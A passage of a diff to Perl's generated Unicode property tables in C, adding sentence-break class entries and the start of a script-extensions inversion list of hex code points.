+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_Extend,
+	SB_Other,
+	SB_Extend,
+	SB_Other,
+	SB_STerm,
+	SB_Numeric,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_Numeric,
+	SB_Other,
+	SB_OLetter,
+	SB_Extend,
+	SB_Other,
+	SB_OLetter,
+	SB_Extend,
+	SB_Other,
+	SB_Extend,
+	SB_Other,
+	SB_Extend,
+	SB_Numeric,
+	SB_Other,
+	SB_Numeric,
+	SB_Other,
+	SB_OLetter,
+	SB_STerm,
+	SB_Other,
+	SB_Extend,
+	SB_Other,
+	SB_Extend,
+	SB_OLetter,
+	SB_Extend,
+	SB_OLetter,
+	SB_Other,
+	SB_Numeric,
+	SB_STerm,
+	SB_Other,
+	SB_STerm,
+	SB_Other,
+	SB_Extend,
+	SB_Other,
+	SB_Extend,
+	SB_OLetter,
+	SB_Extend,
+	SB_OLetter,
+	SB_Numeric,
+	SB_OLetter,
+	SB_Extend,
+	SB_Other,
+	SB_OLetter,
+	SB_Extend,
+	SB_Other,
+	SB_STerm,
+	SB_Other,
+	SB_Numeric,
+	SB_Other,
+	SB_OLetter,
+	SB_Numeric,
+	SB_OLetter,
+	SB_STerm,
+	SB_Lower,
+	SB_Other,
+	SB_Extend,
+	SB_Other,
+	SB_Extend,
+	SB_OLetter,
+	SB_Extend,
+	SB_OLetter,
+	SB_Extend,
+	SB_OLetter,
+	SB_Extend,
+	SB_Other,
+	SB_Lower,
+	SB_Extend,
+	SB_Other,
+	SB_Extend,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Other,
+	SB_Upper,
+	SB_Other,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Other,
+	SB_Upper,
+	SB_Other,
+	SB_Lower,
+	SB_Other,
+	SB_Upper,
+	SB_Other,
+	SB_Upper,
+	SB_Other,
+	SB_Upper,
+	SB_Other,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Other,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Other,
+	SB_Lower,
+	SB_Upper,
+	SB_Other,
+	SB_Lower,
+	SB_Other,
+	SB_Lower,
+	SB_Other,
+	SB_Lower,
+	SB_Upper,
+	SB_Other,
+	SB_Lower,
+	SB_Other,
+	SB_Lower,
+	SB_Upper,
+	SB_Other,
+	SB_Lower,
+	SB_Upper,
+	SB_Other,
+	SB_Lower,
+	SB_Other,
+	SB_Lower,
+	SB_Upper,
+	SB_Other,
+	SB_Sp,
 	SB_Format,
+	SB_Extend,
+	SB_Format,
 	SB_Other,
 	SB_SContinue,
 	SB_Other,
@@ -18041,13 +69111,33 @@
 	SB_OLetter,
 	SB_Other,
 	SB_OLetter,
+	SB_Extend,
+	SB_OLetter,
+	SB_Extend,
+	SB_OLetter,
+	SB_Extend,
 	SB_Other,
+	SB_STerm,
+	SB_Other,
+	SB_Extend,
+	SB_Other,
 	SB_OLetter,
+	SB_Extend,
+	SB_OLetter,
 	SB_Other,
 	SB_OLetter,
 	SB_Extend,
 	SB_Other,
+	SB_STerm,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
 	SB_Extend,
+	SB_Other,
+	SB_Extend,
 	SB_OLetter,
 	SB_STerm,
 	SB_Other,
@@ -18064,9 +69154,18 @@
 	SB_OLetter,
 	SB_Other,
 	SB_OLetter,
+	SB_Extend,
 	SB_Other,
+	SB_Extend,
+	SB_Other,
+	SB_Extend,
+	SB_Other,
+	SB_Extend,
 	SB_OLetter,
+	SB_Extend,
 	SB_Other,
+	SB_Numeric,
+	SB_Other,
 	SB_OLetter,
 	SB_Other,
 	SB_OLetter,
@@ -18073,6 +69172,14 @@
 	SB_Other,
 	SB_OLetter,
 	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
 	SB_Numeric,
 	SB_Other,
 	SB_STerm,
@@ -18119,6 +69226,8 @@
 	SB_Other,
 	SB_OLetter,
 	SB_Other,
+	SB_OLetter,
+	SB_Other,
 	SB_Extend,
 	SB_STerm,
 	SB_Format,
@@ -18344,6 +69453,8 @@
 	SB_Other,
 	SB_OLetter,
 	SB_Other,
+	SB_OLetter,
+	SB_Other,
 	SB_Format,
 	SB_Other,
 	SB_Extend,
@@ -18352,12 +69463,12028 @@
 	SB_Other
 };
 
+#   endif	/* EBCDIC 037 */
+
 #endif	/* defined(PERL_IN_REGEXEC_C) */
 
-#if defined(PERL_IN_PERL_C)
+#if defined(PERL_IN_UTF8_C)
 
+#   if 'A' == 65 /* ASCII/Latin1 */
+
+static const UV _Perl_SCX_invlist[] = { /* for ASCII/Latin1 */
+	1580,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	0,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x41,
+	0x5B,
+	0x61,
+	0x7B,
+	0xAA,
+	0xAB,
+	0xBA,
+	0xBB,
+	0xC0,
+	0xD7,
+	0xD8,
+	0xF7,
+	0xF8,
+	0x2B9,
+	0x2E0,
+	0x2E5,
+	0x2EA,
+	0x2EC,
+	0x300,
+	0x342,
+	0x343,
+	0x345,
+	0x346,
+	0x363,
+	0x370,
+	0x374,
+	0x375,
+	0x378,
+	0x37A,
+	0x37E,
+	0x37F,
+	0x380,
+	0x384,
+	0x385,
+	0x386,
+	0x387,
+	0x388,
+	0x38B,
+	0x38C,
+	0x38D,
+	0x38E,
+	0x3A2,
+	0x3A3,
+	0x3E2,
+	0x3F0,
+	0x400,
+	0x483,
+	0x484,
+	0x485,
+	0x487,
+	0x488,
+	0x530,
+	0x531,
+	0x557,
+	0x559,
+	0x560,
+	0x561,
+	0x588,
+	0x589,
+	0x58A,
+	0x58B,
+	0x58D,
+	0x590,
+	0x591,
+	0x5C8,
+	0x5D0,
+	0x5EB,
+	0x5F0,
+	0x5F5,
+	0x600,
+	0x605,
+	0x606,
+	0x60C,
+	0x60D,
+	0x61B,
+	0x61D,
+	0x61E,
+	0x61F,
+	0x620,
+	0x640,
+	0x641,
+	0x64B,
+	0x656,
+	0x660,
+	0x66A,
+	0x670,
+	0x671,
+	0x6DD,
+	0x6DE,
+	0x700,
+	0x70E,
+	0x70F,
+	0x74B,
+	0x74D,
+	0x750,
+	0x780,
+	0x7B2,
+	0x7C0,
+	0x7FB,
+	0x800,
+	0x82E,
+	0x830,
+	0x83F,
+	0x840,
+	0x85C,
+	0x85E,
+	0x85F,
+	0x860,
+	0x86B,
+	0x8A0,
+	0x8B5,
+	0x8B6,
+	0x8BE,
+	0x8D4,
+	0x8E2,
+	0x8E3,
+	0x900,
+	0x951,
+	0x952,
+	0x953,
+	0x964,
+	0x965,
+	0x966,
+	0x970,
+	0x980,
+	0x984,
+	0x985,
+	0x98D,
+	0x98F,
+	0x991,
+	0x993,
+	0x9A9,
+	0x9AA,
+	0x9B1,
+	0x9B2,
+	0x9B3,
+	0x9B6,
+	0x9BA,
+	0x9BC,
+	0x9C5,
+	0x9C7,
+	0x9C9,
+	0x9CB,
+	0x9CF,
+	0x9D7,
+	0x9D8,
+	0x9DC,
+	0x9DE,
+	0x9DF,
+	0x9E4,
+	0x9E6,
+	0x9F0,
+	0x9FE,
+	0xA01,
+	0xA04,
+	0xA05,
+	0xA0B,
+	0xA0F,
+	0xA11,
+	0xA13,
+	0xA29,
+	0xA2A,
+	0xA31,
+	0xA32,
+	0xA34,
+	0xA35,
+	0xA37,
+	0xA38,
+	0xA3A,
+	0xA3C,
+	0xA3D,
+	0xA3E,
+	0xA43,
+	0xA47,
+	0xA49,
+	0xA4B,
+	0xA4E,
+	0xA51,
+	0xA52,
+	0xA59,
+	0xA5D,
+	0xA5E,
+	0xA5F,
+	0xA66,
+	0xA70,
+	0xA76,
+	0xA81,
+	0xA84,
+	0xA85,
+	0xA8E,
+	0xA8F,
+	0xA92,
+	0xA93,
+	0xAA9,
+	0xAAA,
+	0xAB1,
+	0xAB2,
+	0xAB4,
+	0xAB5,
+	0xABA,
+	0xABC,
+	0xAC6,
+	0xAC7,
+	0xACA,
+	0xACB,
+	0xACE,
+	0xAD0,
+	0xAD1,
+	0xAE0,
+	0xAE4,
+	0xAE6,
+	0xAF0,
+	0xAF2,
+	0xAF9,
+	0xB00,
+	0xB01,
+	0xB04,
+	0xB05,
+	0xB0D,
+	0xB0F,
+	0xB11,
+	0xB13,
+	0xB29,
+	0xB2A,
+	0xB31,
+	0xB32,
+	0xB34,
+	0xB35,
+	0xB3A,
+	0xB3C,
+	0xB45,
+	0xB47,
+	0xB49,
+	0xB4B,
+	0xB4E,
+	0xB56,
+	0xB58,
+	0xB5C,
+	0xB5E,
+	0xB5F,
+	0xB64,
+	0xB66,
+	0xB78,
+	0xB82,
+	0xB84,
+	0xB85,
+	0xB8B,
+	0xB8E,
+	0xB91,
+	0xB92,
+	0xB96,
+	0xB99,
+	0xB9B,
+	0xB9C,
+	0xB9D,
+	0xB9E,
+	0xBA0,
+	0xBA3,
+	0xBA5,
+	0xBA8,
+	0xBAA,
+	0xBAB,
+	0xBAE,
+	0xBB5,
+	0xBB6,
+	0xBBA,
+	0xBBE,
+	0xBC3,
+	0xBC6,
+	0xBC9,
+	0xBCA,
+	0xBCE,
+	0xBD0,
+	0xBD1,
+	0xBD7,
+	0xBD8,
+	0xBE6,
+	0xBF3,
+	0xBFB,
+	0xC00,
+	0xC04,
+	0xC05,
+	0xC0D,
+	0xC0E,
+	0xC11,
+	0xC12,
+	0xC29,
+	0xC2A,
+	0xC3A,
+	0xC3D,
+	0xC45,
+	0xC46,
+	0xC49,
+	0xC4A,
+	0xC4E,
+	0xC55,
+	0xC57,
+	0xC58,
+	0xC5B,
+	0xC60,
+	0xC64,
+	0xC66,
+	0xC70,
+	0xC78,
+	0xC80,
+	0xC84,
+	0xC85,
+	0xC8D,
+	0xC8E,
+	0xC91,
+	0xC92,
+	0xCA9,
+	0xCAA,
+	0xCB4,
+	0xCB5,
+	0xCBA,
+	0xCBC,
+	0xCC5,
+	0xCC6,
+	0xCC9,
+	0xCCA,
+	0xCCE,
+	0xCD5,
+	0xCD7,
+	0xCDE,
+	0xCDF,
+	0xCE0,
+	0xCE4,
+	0xCE6,
+	0xCF0,
+	0xCF1,
+	0xCF3,
+	0xD00,
+	0xD04,
+	0xD05,
+	0xD0D,
+	0xD0E,
+	0xD11,
+	0xD12,
+	0xD45,
+	0xD46,
+	0xD49,
+	0xD4A,
+	0xD50,
+	0xD54,
+	0xD64,
+	0xD66,
+	0xD80,
+	0xD82,
+	0xD84,
+	0xD85,
+	0xD97,
+	0xD9A,
+	0xDB2,
+	0xDB3,
+	0xDBC,
+	0xDBD,
+	0xDBE,
+	0xDC0,
+	0xDC7,
+	0xDCA,
+	0xDCB,
+	0xDCF,
+	0xDD5,
+	0xDD6,
+	0xDD7,
+	0xDD8,
+	0xDE0,
+	0xDE6,
+	0xDF0,
+	0xDF2,
+	0xDF5,
+	0xE01,
+	0xE3B,
+	0xE3F,
+	0xE40,
+	0xE5C,
+	0xE81,
+	0xE83,
+	0xE84,
+	0xE85,
+	0xE87,
+	0xE89,
+	0xE8A,
+	0xE8B,
+	0xE8D,
+	0xE8E,
+	0xE94,
+	0xE98,
+	0xE99,
+	0xEA0,
+	0xEA1,
+	0xEA4,
+	0xEA5,
+	0xEA6,
+	0xEA7,
+	0xEA8,
+	0xEAA,
+	0xEAC,
+	0xEAD,
+	0xEBA,
+	0xEBB,
+	0xEBE,
+	0xEC0,
+	0xEC5,
+	0xEC6,
+	0xEC7,
+	0xEC8,
+	0xECE,
+	0xED0,
+	0xEDA,
+	0xEDC,
+	0xEE0,
+	0xF00,
+	0xF48,
+	0xF49,
+	0xF6D,
+	0xF71,
+	0xF98,
+	0xF99,
+	0xFBD,
+	0xFBE,
+	0xFCD,
+	0xFCE,
+	0xFD5,
+	0xFD9,
+	0xFDB,
+	0x1000,
+	0x1040,
+	0x104A,
+	0x10A0,
+	0x10C6,
+	0x10C7,
+	0x10C8,
+	0x10CD,
+	0x10CE,
+	0x10D0,
+	0x10FB,
+	0x10FC,
+	0x1100,
+	0x1200,
+	0x1249,
+	0x124A,
+	0x124E,
+	0x1250,
+	0x1257,
+	0x1258,
+	0x1259,
+	0x125A,
+	0x125E,
+	0x1260,
+	0x1289,
+	0x128A,
+	0x128E,
+	0x1290,
+	0x12B1,
+	0x12B2,
+	0x12B6,
+	0x12B8,
+	0x12BF,
+	0x12C0,
+	0x12C1,
+	0x12C2,
+	0x12C6,
+	0x12C8,
+	0x12D7,
+	0x12D8,
+	0x1311,
+	0x1312,
+	0x1316,
+	0x1318,
+	0x135B,
+	0x135D,
+	0x137D,
+	0x1380,
+	0x139A,
+	0x13A0,
+	0x13F6,
+	0x13F8,
+	0x13FE,
+	0x1400,
+	0x1680,
+	0x169D,
+	0x16A0,
+	0x16EB,
+	0x16EE,
+	0x16F9,
+	0x1700,
+	0x170D,
+	0x170E,
+	0x1715,
+	0x1720,
+	0x1735,
+	0x1737,
+	0x1740,
+	0x1754,
+	0x1760,
+	0x176D,
+	0x176E,
+	0x1771,
+	0x1772,
+	0x1774,
+	0x1780,
+	0x17DE,
+	0x17E0,
+	0x17EA,
+	0x17F0,
+	0x17FA,
+	0x1800,
+	0x1802,
+	0x1804,
+	0x1805,
+	0x1806,
+	0x180F,
+	0x1810,
+	0x181A,
+	0x1820,
+	0x1878,
+	0x1880,
+	0x18AB,
+	0x18B0,
+	0x18F6,
+	0x1900,
+	0x191F,
+	0x1920,
+	0x192C,
+	0x1930,
+	0x193C,
+	0x1940,
+	0x1941,
+	0x1944,
+	0x1950,
+	0x196E,
+	0x1970,
+	0x1975,
+	0x1980,
+	0x19AC,
+	0x19B0,
+	0x19CA,
+	0x19D0,
+	0x19DB,
+	0x19DE,
+	0x19E0,
+	0x1A00,
+	0x1A1C,
+	0x1A1E,
+	0x1A20,
+	0x1A5F,
+	0x1A60,
+	0x1A7D,
+	0x1A7F,
+	0x1A8A,
+	0x1A90,
+	0x1A9A,
+	0x1AA0,
+	0x1AAE,
+	0x1AB0,
+	0x1ABF,
+	0x1B00,
+	0x1B4C,
+	0x1B50,
+	0x1B7D,
+	0x1B80,
+	0x1BC0,
+	0x1BF4,
+	0x1BFC,
+	0x1C00,
+	0x1C38,
+	0x1C3B,
+	0x1C4A,
+	0x1C4D,
+	0x1C50,
+	0x1C80,
+	0x1C89,
+	0x1CC0,
+	0x1CC8,
+	0x1CD0,
+	0x1CD1,
+	0x1CD2,
+	0x1CD4,
+	0x1CD7,
+	0x1CD8,
+	0x1CD9,
+	0x1CDA,
+	0x1CDB,
+	0x1CDC,
+	0x1CDE,
+	0x1CE0,
+	0x1CE1,
+	0x1CF2,
+	0x1CF5,
+	0x1CF6,
+	0x1CF7,
+	0x1CF8,
+	0x1CFA,
+	0x1D00,
+	0x1D26,
+	0x1D2B,
+	0x1D2C,
+	0x1D5D,
+	0x1D62,
+	0x1D66,
+	0x1D6B,
+	0x1D78,
+	0x1D79,
+	0x1DBF,
+	0x1DC2,
+	0x1DFA,
+	0x1DFB,
+	0x1E00,
+	0x1F00,
+	0x1F16,
+	0x1F18,
+	0x1F1E,
+	0x1F20,
+	0x1F46,
+	0x1F48,
+	0x1F4E,
+	0x1F50,
+	0x1F58,
+	0x1F59,
+	0x1F5A,
+	0x1F5B,
+	0x1F5C,
+	0x1F5D,
+	0x1F5E,
+	0x1F5F,
+	0x1F7E,
+	0x1F80,
+	0x1FB5,
+	0x1FB6,
+	0x1FC5,
+	0x1FC6,
+	0x1FD4,
+	0x1FD6,
+	0x1FDC,
+	0x1FDD,
+	0x1FF0,
+	0x1FF2,
+	0x1FF5,
+	0x1FF6,
+	0x1FFF,
+	0x2000,
+	0x200C,
+	0x200E,
+	0x2065,
+	0x2066,
+	0x2071,
+	0x2072,
+	0x2074,
+	0x207F,
+	0x2080,
+	0x208F,
+	0x2090,
+	0x209D,
+	0x20A0,
+	0x20C0,
+	0x20D0,
+	0x20F0,
+	0x20F1,
+	0x2100,
+	0x2126,
+	0x2127,
+	0x212A,
+	0x212C,
+	0x2132,
+	0x2133,
+	0x214E,
+	0x214F,
+	0x2160,
+	0x2189,
+	0x218C,
+	0x2190,
+	0x2427,
+	0x2440,
+	0x244B,
+	0x2460,
+	0x2800,
+	0x2900,
+	0x2B74,
+	0x2B76,
+	0x2B96,
+	0x2B98,
+	0x2BBA,
+	0x2BBD,
+	0x2BC9,
+	0x2BCA,
+	0x2BD3,
+	0x2BEC,
+	0x2BF0,
+	0x2C00,
+	0x2C2F,
+	0x2C30,
+	0x2C5F,
+	0x2C60,
+	0x2C80,
+	0x2CF4,
+	0x2CF9,
+	0x2D00,
+	0x2D26,
+	0x2D27,
+	0x2D28,
+	0x2D2D,
+	0x2D2E,
+	0x2D30,
+	0x2D68,
+	0x2D6F,
+	0x2D71,
+	0x2D7F,
+	0x2D80,
+	0x2D97,
+	0x2DA0,
+	0x2DA7,
+	0x2DA8,
+	0x2DAF,
+	0x2DB0,
+	0x2DB7,
+	0x2DB8,
+	0x2DBF,
+	0x2DC0,
+	0x2DC7,
+	0x2DC8,
+	0x2DCF,
+	0x2DD0,
+	0x2DD7,
+	0x2DD8,
+	0x2DDF,
+	0x2DE0,
+	0x2E00,
+	0x2E43,
+	0x2E44,
+	0x2E4A,
+	0x2E80,
+	0x2E9A,
+	0x2E9B,
+	0x2EF4,
+	0x2F00,
+	0x2FD6,
+	0x2FF0,
+	0x2FFC,
+	0x3000,
+	0x3001,
+	0x3003,
+	0x3004,
+	0x3005,
+	0x3008,
+	0x3012,
+	0x3013,
+	0x3014,
+	0x301C,
+	0x3020,
+	0x3021,
+	0x302A,
+	0x302E,
+	0x3030,
+	0x3031,
+	0x3036,
+	0x3037,
+	0x3038,
+	0x303C,
+	0x303E,
+	0x3040,
+	0x3041,
+	0x3097,
+	0x3099,
+	0x309D,
+	0x30A0,
+	0x30A1,
+	0x30FB,
+	0x30FC,
+	0x30FD,
+	0x3100,
+	0x3105,
+	0x312F,
+	0x3131,
+	0x318F,
+	0x3190,
+	0x31A0,
+	0x31BB,
+	0x31C0,
+	0x31E4,
+	0x31F0,
+	0x3200,
+	0x321F,
+	0x3220,
+	0x3248,
+	0x3260,
+	0x327F,
+	0x3280,
+	0x32B1,
+	0x32C0,
+	0x32CC,
+	0x32D0,
+	0x32FF,
+	0x3300,
+	0x3358,
+	0x3371,
+	0x337B,
+	0x3380,
+	0x33E0,
+	0x33FF,
+	0x3400,
+	0x4DB6,
+	0x4DC0,
+	0x4E00,
+	0x9FEB,
+	0xA000,
+	0xA48D,
+	0xA490,
+	0xA4C7,
+	0xA4D0,
+	0xA500,
+	0xA62C,
+	0xA640,
+	0xA66F,
+	0xA670,
+	0xA6A0,
+	0xA6F8,
+	0xA700,
+	0xA722,
+	0xA788,
+	0xA78B,
+	0xA7AF,
+	0xA7B0,
+	0xA7B8,
+	0xA7F7,
+	0xA800,
+	0xA82C,
+	0xA830,
+	0xA836,
+	0xA83A,
+	0xA840,
+	0xA878,
+	0xA880,
+	0xA8C6,
+	0xA8CE,
+	0xA8DA,
+	0xA8E0,
+	0xA8F1,
+	0xA8F2,
+	0xA8F3,
+	0xA8F4,
+	0xA8FE,
+	0xA900,
+	0xA92E,
+	0xA92F,
+	0xA930,
+	0xA954,
+	0xA95F,
+	0xA960,
+	0xA97D,
+	0xA980,
+	0xA9CE,
+	0xA9CF,
+	0xA9D0,
+	0xA9DA,
+	0xA9DE,
+	0xA9E0,
+	0xA9FF,
+	0xAA00,
+	0xAA37,
+	0xAA40,
+	0xAA4E,
+	0xAA50,
+	0xAA5A,
+	0xAA5C,
+	0xAA60,
+	0xAA80,
+	0xAAC3,
+	0xAADB,
+	0xAAE0,
+	0xAAF7,
+	0xAB01,
+	0xAB07,
+	0xAB09,
+	0xAB0F,
+	0xAB11,
+	0xAB17,
+	0xAB20,
+	0xAB27,
+	0xAB28,
+	0xAB2F,
+	0xAB30,
+	0xAB5B,
+	0xAB5C,
+	0xAB65,
+	0xAB66,
+	0xAB70,
+	0xABC0,
+	0xABEE,
+	0xABF0,
+	0xABFA,
+	0xAC00,
+	0xD7A4,
+	0xD7B0,
+	0xD7C7,
+	0xD7CB,
+	0xD7FC,
+	0xF900,
+	0xFA6E,
+	0xFA70,
+	0xFADA,
+	0xFB00,
+	0xFB07,
+	0xFB13,
+	0xFB18,
+	0xFB1D,
+	0xFB37,
+	0xFB38,
+	0xFB3D,
+	0xFB3E,
+	0xFB3F,
+	0xFB40,
+	0xFB42,
+	0xFB43,
+	0xFB45,
+	0xFB46,
+	0xFB50,
+	0xFBC2,
+	0xFBD3,
+	0xFD3E,
+	0xFD40,
+	0xFD50,
+	0xFD90,
+	0xFD92,
+	0xFDC8,
+	0xFDF0,
+	0xFDF2,
+	0xFDF3,
+	0xFDFD,
+	0xFDFE,
+	0xFE00,
+	0xFE10,
+	0xFE1A,
+	0xFE20,
+	0xFE2E,
+	0xFE30,
+	0xFE45,
+	0xFE47,
+	0xFE53,
+	0xFE54,
+	0xFE67,
+	0xFE68,
+	0xFE6C,
+	0xFE70,
+	0xFE75,
+	0xFE76,
+	0xFEFD,
+	0xFEFF,
+	0xFF00,
+	0xFF01,
+	0xFF21,
+	0xFF3B,
+	0xFF41,
+	0xFF5B,
+	0xFF61,
+	0xFF66,
+	0xFF70,
+	0xFF71,
+	0xFF9E,
+	0xFFA0,
+	0xFFBF,
+	0xFFC2,
+	0xFFC8,
+	0xFFCA,
+	0xFFD0,
+	0xFFD2,
+	0xFFD8,
+	0xFFDA,
+	0xFFDD,
+	0xFFE0,
+	0xFFE7,
+	0xFFE8,
+	0xFFEF,
+	0xFFF9,
+	0xFFFE,
+	0x10000,
+	0x1000C,
+	0x1000D,
+	0x10027,
+	0x10028,
+	0x1003B,
+	0x1003C,
+	0x1003E,
+	0x1003F,
+	0x1004E,
+	0x10050,
+	0x1005E,
+	0x10080,
+	0x100FB,
+	0x10100,
+	0x10103,
+	0x10107,
+	0x10134,
+	0x10137,
+	0x10140,
+	0x1018F,
+	0x10190,
+	0x1019C,
+	0x101A0,
+	0x101A1,
+	0x101D0,
+	0x101FD,
+	0x101FE,
+	0x10280,
+	0x1029D,
+	0x102A0,
+	0x102D1,
+	0x102E0,
+	0x102FC,
+	0x10300,
+	0x10324,
+	0x1032D,
+	0x10330,
+	0x1034B,
+	0x10350,
+	0x1037B,
+	0x10380,
+	0x1039E,
+	0x1039F,
+	0x103A0,
+	0x103C4,
+	0x103C8,
+	0x103D6,
+	0x10400,
+	0x10450,
+	0x10480,
+	0x1049E,
+	0x104A0,
+	0x104AA,
+	0x104B0,
+	0x104D4,
+	0x104D8,
+	0x104FC,
+	0x10500,
+	0x10528,
+	0x10530,
+	0x10564,
+	0x1056F,
+	0x10570,
+	0x10600,
+	0x10737,
+	0x10740,
+	0x10756,
+	0x10760,
+	0x10768,
+	0x10800,
+	0x10806,
+	0x10808,
+	0x10809,
+	0x1080A,
+	0x10836,
+	0x10837,
+	0x10839,
+	0x1083C,
+	0x1083D,
+	0x1083F,
+	0x10840,
+	0x10856,
+	0x10857,
+	0x10860,
+	0x10880,
+	0x1089F,
+	0x108A7,
+	0x108B0,
+	0x108E0,
+	0x108F3,
+	0x108F4,
+	0x108F6,
+	0x108FB,
+	0x10900,
+	0x1091C,
+	0x1091F,
+	0x10920,
+	0x1093A,
+	0x1093F,
+	0x10940,
+	0x10980,
+	0x109A0,
+	0x109B8,
+	0x109BC,
+	0x109D0,
+	0x109D2,
+	0x10A00,
+	0x10A04,
+	0x10A05,
+	0x10A07,
+	0x10A0C,
+	0x10A14,
+	0x10A15,
+	0x10A18,
+	0x10A19,
+	0x10A34,
+	0x10A38,
+	0x10A3B,
+	0x10A3F,
+	0x10A48,
+	0x10A50,
+	0x10A59,
+	0x10A60,
+	0x10A80,
+	0x10AA0,
+	0x10AC0,
+	0x10AE7,
+	0x10AEB,
+	0x10AF7,
+	0x10B00,
+	0x10B36,
+	0x10B39,
+	0x10B40,
+	0x10B56,
+	0x10B58,
+	0x10B60,
+	0x10B73,
+	0x10B78,
+	0x10B80,
+	0x10B92,
+	0x10B99,
+	0x10B9D,
+	0x10BA9,
+	0x10BB0,
+	0x10C00,
+	0x10C49,
+	0x10C80,
+	0x10CB3,
+	0x10CC0,
+	0x10CF3,
+	0x10CFA,
+	0x10D00,
+	0x10E60,
